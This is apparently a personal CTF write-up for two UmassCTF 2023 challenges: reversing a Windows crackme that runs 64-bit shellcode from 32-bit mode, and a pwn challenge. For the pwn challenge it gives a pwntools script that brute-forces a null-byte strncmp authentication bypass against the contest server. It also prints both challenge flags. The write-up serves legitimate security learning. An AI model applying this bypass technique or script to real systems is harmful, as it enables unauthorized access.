UmassCTF 2023 writeups
Intro
This week I had the pleasure to play UmassCTF 2023 with a small team that we created with other people from around the internet. Hope the team sticks together for years to come but we’ll see. Overall we got 8th place which I think is decent. Sadly there was only two pwns, the first was easy and the second one was comparatively hard, so instead I focused on helping with the easier revs. Personally I solved one pwn and two reversing challs. One rev, even though pretty cool, was straightforward after you understand the gimmick of the challenge so I’m gonna skip writing the writeup for it. You can also read all the writeups from our team on our website. :)
Sapphire
Description: Do you know both sapphire and ruby are corundum? The difference that makes ruby blood-red colored is the addition of Chromium.
In this challenge we get an .exe Windows binary, ./sapphire.exe
. First by
running the file
command we can see it’s a 32-bit binary.
➜ umass file ~/Downloads/sapphire.exe
/home/tabun-dareka/Downloads/sapphire.exe: PE32 executable (console) Intel 80386, for MS Windows, 4 sections
To get an idea of what the program is doing we can run it. I’m on Linux so I run it through wine.
➜ umass wine ~/Downloads/sapphire.exe
007c:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
007c:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
007c:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
007c:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
007c:fixme:wineusb:query_id Unhandled ID query type 0x5.
AAAAAAAAAAAAAAAA
➜ umass
The program wants some input and after that It doesn’t do anything. We can make an educated guess that the program is a crackme type of challenge and the input is the flag that is later checked. Later it turns out to be true. Let’s open up Ghidra and do some reversing! Now, I never reversed a Windows binary so I’m not sure where to start looking. I went with a top-down approach, first looking at strings in the program and surely we found something useful.
There’s a “correct flag” type of string, so we can check the XRef’s in Ghidra
to see where the string is referenced. Bingo! We find a function that looks
like a main function, so I’m gonna rename it as main
. There’s the full Ghidra
decompilation:
void main(void)
{
FILE *_File;
size_t str_len;
size_t _MaxCount;
int iVar1;
char str [6];
char after_str [73];
undefined local_11;
undefined4 local_10;
undefined2 local_c;
undefined local_a;
uint local_8;
local_8 = DAT_004030b8 ^ (uint)&stack0xfffffffc;
memset(str,0,0x50);
_File = (FILE *)__acrt_iob_func(0);
fgets(str,0x50,_File);
local_11 = 0;
str_len = strlen(str);
local_10 = 0x53414d55;
local_c = 0x7b53;
local_a = 0;
_MaxCount = str_len;
if (5 < str_len) {
_MaxCount = 6;
}
iVar1 = strncmp((char *)&local_10,str,_MaxCount);
if ((((iVar1 == 0) && (after_str[str_len - 7] == '}')) && (6 < str_len)) &&
(iVar1 = check_fun(after_str,str_len - 7), iVar1 == 0)) {
puts("You have found the flag!");
}
FUN_00401175(local_8 ^ (uint)&stack0xfffffffc);
return;
}
We can see that the program reads 0x50 bytes of input and then checks it against some conditions. Maybe it’s hard too see at first glance, but the check against the numbers:
local_10 = 0x53414d55;
local_c = 0x7b53;
is just an optimized check if our string begins with the bytes UMASS{
and we
also check if the string ends with }
. Then it checks the input against some
function that I renamed as check_fun
. This is where the real challenge
begins. There’s the Ghidra’s decompilation of check_fun:
undefined4 __cdecl check_fun(char *flag,undefined4 len)
{
undefined4 local_c;
undefined4 local_8;
code *codee1;
local_c = 0xffffffff;
local_8 = 0xffffffff;
if (codeeee == (code *)0x0) {
codeeee = (code *)VirtualAlloc((LPVOID)0x0,0xb2,0x3000,0x40);
/* o */
memcpy(codeeee,&orig_code,0xb2);
}
*(code **)(codeeee + 10) = codeeee + 0x3e;
*(undefined4 *)(codeeee + 0x3f) = len;
codee1 = codeeee;
*(char **)(codeeee + 0x4c) = flag;
*(undefined4 *)(codee1 + 0x50) = 0;
codee1 = codeeee;
*(code **)(codeeee + 0x56) = codeeee + 0xf;
*(undefined4 *)(codee1 + 0x5a) = 0;
codee1 = codeeee;
*(undefined4 **)(codeeee + 0x9d) = &local_c;
*(int *)(codee1 + 0xa1) = (int)&local_c >> 0x1f;
*(code **)(codeeee + 0xab) = codeeee + 0xb1;
(*codeeee)();
if (codeeee != (code *)0x0) {
VirtualFree(codeeee,0,0x8000);
}
return local_c;
}
Now this looks a little scary… We allocate some executable memory and copy
orig_code
to it, orig_code is a global variable with random bytes that turn
out to be assembly instructions. Then we write to the allocated memory some
things like the string length and some addresses, and after that we call the
memory like if it was some function. So the main challenge is figuring out what
happens in the allocated memory. At the begging I wanted to use my old Windows
hard drive that is lying around and poke at the program with windbg. After
fighting 30 minutes with windbg and installing mingw-gdb on Windows in which
80% of the options didn’t work, it turns out that I’m absolutely abysmal at
using Windows, having big troubles even putting a breakpoint there (idk if it’s
something that I should be proud of or ashamed of). So I had to change my
approach. Because I’m a mad crazy person I decided to rewrite the whole program
in c, so I can compile it on Linux to work on it with gdb and an environment
that I’m used to. There’s my source code:
// compile with -m32!!!
#include <stdio.h>
#include <memory.h>
#include <sys/mman.h>
char orig_code[] = {
0x6a, 0x03, 0x58, 0xc1, 0xe0, 0x04, 0x04, 0x03, 0x50, 0x68, 0x98, 0x5f,
0x3f, 0x12, 0xcb, 0xca, 0xe2, 0x0d, 0x53, 0xd4, 0xe4, 0x19, 0x87, 0xe4,
0xe8, 0x09, 0x89, 0xdc, 0xe4, 0x2f, 0x51, 0xd0, 0x12, 0xc1, 0x51, 0xe8,
0xe4, 0xcf, 0x43, 0x1e, 0x1e, 0x1b, 0x85, 0xc6, 0x04, 0xcf, 0x8d, 0x1a,
0xc0, 0x19, 0x51, 0xf2, 0x12, 0x23, 0x63, 0xee, 0x52, 0x3f, 0x45, 0xd4,
0x50, 0x69, 0xb8, 0xca, 0x5d, 0xa9, 0x30, 0x83, 0xe8, 0x2f, 0x85, 0xc0,
0x75, 0x51, 0x49, 0xb8, 0xb2, 0x0d, 0x39, 0xa5, 0x94, 0x39, 0xc7, 0x22,
0x49, 0xb9, 0x8f, 0x7f, 0x22, 0x51, 0x90, 0xba, 0xdd, 0x17, 0x31, 0xf6,
0x48, 0x8d, 0x56, 0x3c, 0x48, 0x8d, 0x4e, 0x41, 0x4c, 0x8d, 0x96, 0xd3,
0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9e, 0xf7, 0x00, 0x00, 0x00, 0x48, 0x83,
0xfe, 0x2f, 0x73, 0x1f, 0x41, 0x8a, 0x04, 0x31, 0xd0, 0xc8, 0x41, 0x32,
0x04, 0x30, 0x30, 0xd0, 0x84, 0xc0, 0x87, 0xca, 0x44, 0x87, 0xd1, 0x45,
0x87, 0xda, 0x75, 0x07, 0x48, 0x8d, 0x74, 0x30, 0x01, 0xeb, 0xdb, 0x48,
0xba, 0x08, 0x99, 0x90, 0x3a, 0xcf, 0x25, 0x33, 0x2e, 0x48, 0x89, 0x02,
0x6a, 0x23, 0x68, 0x90, 0x61, 0x2f, 0x12, 0x48, 0xcb, 0xc3, 0x00, 0x00,
0xb1, 0x19, 0xbf, 0x44, 0x4e, 0xe6, 0x40, 0xbb, 0xff, 0xff, 0xff, 0xff,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
};
int (*code_ptr)() = NULL;
int check_fun(char *flag, size_t len);
int main() {
char beg[] = "UMASS{";
char flag[0x50];
memset(flag, 0, 0x50);
fgets(flag, 0x50, stdin);
// I think we need to remove the newline??
flag[strcspn(flag, "\n")] = 0;
size_t str_len = strlen(flag);
size_t max_count = str_len;
if (5 < str_len) {
max_count = 6;
}
int cmp = strncmp(beg, flag, max_count);
int ret;
if (cmp == 0 && flag[str_len-1] == '}' && 6 < str_len &&
(ret = check_fun(flag+6, str_len-7), ret == 0)) {
puts("You have found flag!");
} else {
puts("no");
}
return 0;
}
int check_fun(char *flag, size_t len) {
volatile unsigned long long ret = 0xffffffffffffffff;
code_ptr = mmap(
NULL,
0xb2,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
-1,
0
);
memcpy(code_ptr, orig_code, 0xb2);
mprotect(code_ptr, 0xb2, PROT_READ | PROT_EXEC | PROT_WRITE);
char* bytes = (char*)code_ptr;
*(size_t*)(bytes+10) = (size_t)(bytes + 0x3e);
*(size_t*)(bytes+0x3f) = len;
*(size_t*)(bytes+0x4c) = (size_t)flag;
*(size_t*)(bytes+0x50) = (size_t)0;
*(size_t*)(bytes+0x56) = (size_t)(bytes + 0xf);
*(size_t*)(bytes+0x5a) = (size_t)0;
*(size_t*)(bytes+0x9d) = (size_t)&ret;
*(size_t*)(bytes+0xa1) = (int)&ret >> 0x1f;
*(size_t*)(bytes+0xab) = (size_t)bytes + 0xb1;
code_ptr();
return ret;
}
I think I made a mistake somewhere because it segfaults, but it does it just after the flag is checked so it’s good enough to work with. Just after jumping to the code that’s the beginning of the disassembly that we get:
► 0xf7fc0000 push 3
0xf7fc0002 pop eax
0xf7fc0003 shl eax, 4
0xf7fc0006 add al, 3
0xf7fc0008 push eax
0xf7fc0009 push 0xf7fc003e
0xf7fc000e retf
it changes the eax register to equal 0x33 and then it does a retf to an address we overwrote in the check_fun function before. It’s important to know how the retf and far jmps instructions work because if you didn’t know about this it can be a real headache. Basically if we push 0x23 or 0x33 before the address, then after retf the value is used in some internal processor’s register and in this case we change from 32-bit mode to 64-bit mode. Every instruction after that will be treated as an 64-bit instruction by the processor. The main problem is that gdb doesn’t work well with this kind of hackery so after that gdb still thinks that it’s executing 32-bit code. It’s annoying if you don’t notice it because then gdb looks like it’s broken. For example you step one instruction but gdb steps three instructions. To be honest I don’t know a way to change it so after that happens I just observe how registers change.
Because of that I couldn’t depend on the gdb disassembly to solve the challenge. That may be a little anticlimactic ending cause I don’t have any pretty pictures to show but basically I solved it by observing how register values change and noticing that my input letters are xored with some value and then are loaded to the eax register and then checked if they are zero. So if they weren’t zero but instead were equal to 0x20 for example then I xored my input letter with 0x20 and I did it like that for every letter in the input. Before the xoring part there was also a length check to check if the flag has the correct length. I’m sure it could be automated in some way but doing it by hand took me around 30~ minutes so it wasn’t that bad. ;)
There’s the flag: UMASS{Y0U^V3_4N5W3R3D_TH3_H34V3N^5_C411!__EHBFKhLUVig}
last_minute_pwn
Idk, 1 pwn seemed kinda low so here’s another
We are given a 64-bit linux binary. The binary doesn’t have any stack canaries according to checksec but this fact won’t be needed, it will turn out there are no stack buffer overflows to abuse. I can proudly say I got both a first blood and an unintended in this challenge, that’s always something! :D
➜ last file ./last_minute_pwn
./last_minute_pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=351ccad1d89b2c1e96ac2ce97fa96a9574b521de, for GNU/Linux 3.2.0, not stripped
➜ last checksec ./last_minute_pwn
[*] '/home/tabun-dareka/umass/last/last_minute_pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Before opening up Ghidra we can poke at the program by running it.
➜ last ./last_minute_pwn
.~~~~~~~~~~~~.Menu.~~~~~~~~~~~~.
~ 1 Launch Game ~
~ 2 Edit config ~
~ 3 Exit ~
.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
>> 3
Shutting Off...
➜ last ./last_minute_pwn
.~~~~~~~~~~~~.Menu.~~~~~~~~~~~~.
~ 1 Launch Game ~
~ 2 Edit config ~
~ 3 Exit ~
.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
>> 2
Please authenticate to access the configs
Enter password
>> testtest
Login failed
.~~~~~~~~~~~~.Menu.~~~~~~~~~~~~.
~ 1 Launch Game ~
~ 2 Edit config ~
~ 3 Exit ~
.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
>> 1
So we get a menu with three options. One just exists, the second one asks us
for a password (Maybe if we get the password right we get the flag? Or maybe
the password is the flag?) and the first one launches a simple terminal math
game. If we launch the game we are asked if we’re ready. n
just goes back to
the previous menu and y
goes to a next menu.
Are you ready for the ultimate math game? [y/n]
>> n
.~~~~~~~~~~~~.Menu.~~~~~~~~~~~~.
~ 1 Launch Game ~
~ 2 Edit config ~
~ 3 Exit ~
.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
>> 1
Are you ready for the ultimate math game? [y/n]
>> y
.~~~~~~~~~~~~.Menu.~~~~~~~~~~~~.
~ 1 Answer a question ~
~ 2 Print Answers ~
~ 3 Start a new game ~
~ 4 End Game ~
.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
>>
By poking a little more at the program we can see that the options do what they say, so let’s already go to Ghidra. This is the main function:
undefined8 main(void)
{
password = get_admin_pass();
run();
return 1;
}
password
is a global variable that stores a pointer that points to well… a
password. This is how it’s generated:
char * get_admin_pass(void)
{
char *__s;
FILE *__stream;
__s = (char *)malloc(0x14);
__stream = fopen("/dev/urandom","rb");
fgets(__s,0x10,__stream);
__s[0x10] = '\0';
fclose(__stream);
return __s;
}
It’s just random bytes. Including bytes like nullbytes. Keep it in mind cause it may be important. ;)
This is how the first main menu function looks like:
void run(void)
{
char *pcVar1;
char local_14 [8];
uint option;
do {
while( true ) {
print_main_menu();
pcVar1 = fgets(local_14,8,stdin);
if (pcVar1 == (char *)0x0) {
/* WARNING: Subroutine does not return */
exit(1);
}
option = atoi(local_14);
if (option == 3) {
puts("Shutting Off...");
/* WARNING: Subroutine does not return */
exit(1);
}
if (option < 4) break;
LAB_00101a50:
puts("Unrecognized Option");
}
if (option == 1) {
game();
}
else {
if (option != 2) goto LAB_00101a50;
config();
}
} while( true );
}
Nothing too see there, so let’s go straight away to the config function and let’s check how the password is checked.
void config(void)
{
bool bVar1;
undefined7 extraout_var;
puts("Please authenticate to access the configs");
bVar1 = authenticate_admin();
if ((int)CONCAT71(extraout_var,bVar1) == 0) {
puts("Login failed");
}
else {
puts("Login Successful, here are the creds");
print_flag();
}
return;
}
bool authenticate_admin(void)
{
int iVar1;
char *pcVar2;
size_t sVar3;
undefined8 local_638;
undefined8 local_630;
char local_28 [32];
local_630 = password[1];
local_638 = *password;
puts("Enter password");
printf(" >> ");
pcVar2 = fgets(local_28,0x20,stdin);
if (pcVar2 == (char *)0x0) {
/* WARNING: Subroutine does not return */
exit(1);
}
sVar3 = strcspn(local_28,"\n");
local_28[sVar3] = '\0';
iVar1 = strncmp(local_28,(char *)&local_638,0xe);
return iVar1 == 0;
}
Now we can see that if we get the password right we get a flag. Look closely at
the authenticate_admin
function and try to find the unintended solution. The
trick is to know that strcmp type of functions stop comparing when they
encouter a nullbyte because they are designed for c-style strings. If our input
is just a newline then it gets overwritten as a nullbyte because of the lines:
sVar3 = strcspn(local_28,"\n");
local_28[sVar3] = '\0';
Now we just need a nullbyte at the beginning of the random password. It’s a simple bruteforce that shouldn’t take too much time because we only pray for a single byte to equal zero. There’s my solve.py script:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./last_minute_pwn_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
else:
r = remote("last_minute_pwn.pwn.umasscybersec.org", 7293)
return r
def main():
while True:
r = conn()
r.sendline(b'2')
r.sendline(b'')
r.recvuntil(b'Login ')
a = r.recv(1)
if a == b'f':
r.close()
continue
else:
r.interactive()
if __name__ == "__main__":
main()
…aaaand we get the flag: UMASSCTF{todo:_think_of_a_creative_flag}
.
Now about the intended solution. I haven’t tested it myself but I spoke with
the admin/author about it. By answering neither y
nor n
to the question if
you’re ready, you can get a stack leak. According to him the intended solution
was to recursively call the game through the restart option to shift the stack
frame over the area where the password was written to the stack and then leak
it using the “Print Answers” option from the second menu. The password appears
on the stack after using the second option from the first menu.